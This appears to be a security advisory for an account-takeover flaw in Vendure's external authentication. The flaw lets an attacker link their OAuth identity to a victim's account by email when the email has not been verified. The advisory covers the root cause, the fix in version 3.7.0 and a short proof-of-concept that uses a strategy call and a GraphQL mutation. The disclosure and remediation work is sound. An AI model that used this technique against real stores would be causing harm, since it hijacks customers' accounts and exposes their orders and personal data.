CVE-2026-63472: @vendure/core External Authentication Account Takeover
Vendure stores using social or OAuth login can have any customer account silently hijacked by an attacker who presents the victim's email address through an external authentication provider, without…
The problem
In @vendure/core before 3.7.0, ExternalAuthenticationService.createCustomerAndUser() looks up an existing customer User by email address and attaches the caller's ExternalAuthenticationMethod to that account.
The function never checks whether config.verified is true before doing so. Any external AuthenticationStrategy that forwards an email the provider has not proven is owned by the caller lets an attacker bind their OAuth identity to a victim's pre-existing account and log in as that victim, exposing orders, addresses, and PII.
Proof of concept
A working proof-of-concept for CVE-2026-63472 in @vendure/core, with the exact payload below.
// Attacker-controlled AuthenticationStrategy.authenticate() returns:
return this.externalAuthenticationService.createCustomerAndUser(ctx, {
strategy: 'attacker-oauth',
externalIdentifier: 'attacker-uid-9999',
emailAddress: 'victim@example.com', // victim's real account email
firstName: 'Attacker',
lastName: 'User',
// verified is omitted (defaults to false/undefined)
});
// Result: ExternalAuthenticationMethod for attacker-uid-9999 is saved
// onto the existing User row for victim@example.com.
// Attacker can now call:
mutation {
authenticate(input: {
attacker-oauth: { token: "<attacker-token>" }
}) {
... on CurrentUser { id identifier }
}
}
// and receives a session authenticated as the victim.The root cause is a missing authorization gate in createCustomerAndUser(). The vulnerable branch is if (existingUser) { user = existingUser; } with no check on config.verified. The verified flag was only used to set User.verified and write a history entry, never to guard whether account linking was permitted at all (CWE-287).
The patch (commit 3bb04718) adds an explicit check before the existing-user branch: if config.verified is not true, the method refuses to link and throws an error instead. Strategies must now set verified: true only for emails the provider has actually confirmed ownership of.
The fix
Upgrade @vendure/core to **3.7.0**. After upgrading, audit every custom AuthenticationStrategy: it must pass verified: true only when the external provider has confirmed email ownership (for example, by checking the OAuth email_verified claim). Strategies that omit verified or pass false will now be refused when a pre-existing account with that email exists.
Related research
- criticalBudibase OIDC SSO Account Takeover via Unverified Email Claim
- high · 8.3better-auth Pre-Account Hijacking via Magic-Link and Email-OTP Sign-In
- highCVE-2026-59208CVE-2026-59208: n8n Cross-Issuer JWT Token Exchange Account Takeover
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration